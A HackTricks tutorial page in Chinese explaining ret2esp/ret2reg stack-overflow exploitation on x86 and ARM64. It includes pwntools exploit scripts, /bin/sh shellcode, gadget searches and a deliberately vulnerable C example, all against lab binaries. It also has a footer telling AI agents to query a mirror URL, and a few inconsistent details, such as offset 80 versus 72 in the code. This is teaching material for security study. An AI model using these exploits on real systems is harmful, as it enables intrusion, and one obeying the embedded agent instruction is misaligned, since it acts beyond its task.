# Ret2esp / Ret2reg

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## **Ret2esp**

**由于ESP（堆栈指针）始终指向堆栈的顶部**，这种技术涉及将EIP（指令指针）替换为\*\*`jmp esp`**或**`call esp`\*\*指令的地址。通过这样做，shellcode被放置在被覆盖的EIP之后。当`ret`指令执行时，ESP指向下一个地址，恰好是shellcode存储的位置。

如果在Windows或Linux中未启用**地址空间布局随机化（ASLR）**，则可以使用在共享库中找到的`jmp esp`或`call esp`指令。然而，如果[**ASLR**](/binary-exploitation/common-binary-protections-and-bypasses/aslr.md)激活，可能需要在受影响的程序内部寻找这些指令（您可能需要击败[**PIE**](/binary-exploitation/common-binary-protections-and-bypasses/pie.md)）。

此外，能够将shellcode放置在**EIP损坏之后**，而不是在堆栈中间，可以确保在函数运行过程中执行的任何`push`或`pop`指令不会干扰shellcode。如果shellcode放置在函数堆栈的中间，可能会发生这种干扰。

### 空间不足

如果在覆盖RIP后写入的空间不足（也许只有几个字节），可以编写一个初始的\*\*`jmp`\*\* shellcode，例如：

```armasm
sub rsp, 0x30
jmp rsp
```

并将shellcode提前放在堆栈中。

### 示例

您可以在<https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp>中找到此技术的示例，最终利用如下：

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```

你可以在<https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html>中看到这种技术的另一个示例。这里存在一个未启用NX的缓冲区溢出，使用了一个小工具来**减少`$esp`的地址**，然后使用`jmp esp;`跳转到shellcode：

```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()
```

## Ret2reg

类似地，如果我们知道一个函数返回存储shellcode的地址，我们可以利用\*\*`call eax`**或**`jmp eax`**指令（称为**ret2eax**技术），提供另一种执行我们的shellcode的方法。就像eax一样，包含有趣地址的**任何其他寄存器\*\*都可以被使用（**ret2reg**）。

### 示例

您可以在这里找到一些示例:

* <https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg>
* <https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c>
* \*\*`strcpy`**将存储在**`eax`**中shellcode所在的缓冲区的地址，而**`eax`\*\*没有被覆盖，因此可以使用`ret2eax`。

## ARM64

### Ret2sp

在ARM64中，**没有**允许**跳转到SP寄存器**的指令。可能会找到一个**将sp移动到寄存器然后跳转到该寄存器**的gadget，但在我的kali libc中找不到类似的gadget:

```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```

我发现的唯一方法是更改在跳转到它之前复制sp的寄存器的值（因此它将变得无用）：

<figure><img src="/files/bs46FrjVYYICHXg477WK" alt=""><figcaption></figcaption></figure>

### Ret2reg

如果一个寄存器有一个有趣的地址，只需找到适当的指令就可以跳转到它。您可以使用类似以下的内容：

```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```

在ARM64中，是\*\*`x0`\*\*存储函数的返回值，因此可能是x0存储用户控制的缓冲区地址，其中包含用于执行的shellcode。

示例代码:

```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```

检查函数的反汇编代码，可以看到**缓冲区的地址**（容易受到缓冲区溢出攻击，**由用户控制**）在从缓冲区溢出返回之前被**存储在 `x0`** 中：

<figure><img src="/files/IaLYi6KAkAFcQYeP7iYp" alt="" width="563"><figcaption></figcaption></figure>

在\*\*`do_stuff`**函数中也可以找到**`br x0`\*\*这个特殊指令：

<figure><img src="/files/160fRToil70faLYTYKls" alt="" width="563"><figcaption></figcaption></figure>

我们将使用该特殊指令进行跳转，因为二进制文件是**没有启用 PIE 编译**的。通过模式匹配，可以看到**缓冲区溢出的偏移量为 80**，因此利用将是：

```python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()
```

{% hint style="warning" %}
如果使用的是`read`而不是`fgets`，也可以通过**仅覆盖返回地址的最后2个字节**来绕过PIE，返回到`br x0;`指令，而无需知道完整地址。\
使用`fgets`不起作用，因为它**在末尾添加了一个空字节（0x00）**。
{% endhint %}

## 保护措施

* [**NX**](/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md): 如果堆栈不可执行，这不会有帮助，因为我们需要将 shellcode 放在堆栈中并跳转执行它。
* [**ASLR**](/binary-exploitation/common-binary-protections-and-bypasses/aslr.md) & [**PIE**](/binary-exploitation/common-binary-protections-and-bypasses/pie.md): 这些保护措施可以使查找跳转到 esp 或任何其他寄存器的指令变得更加困难。

## 参考资料

* <https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode>
* <https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享您的黑客技巧**。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
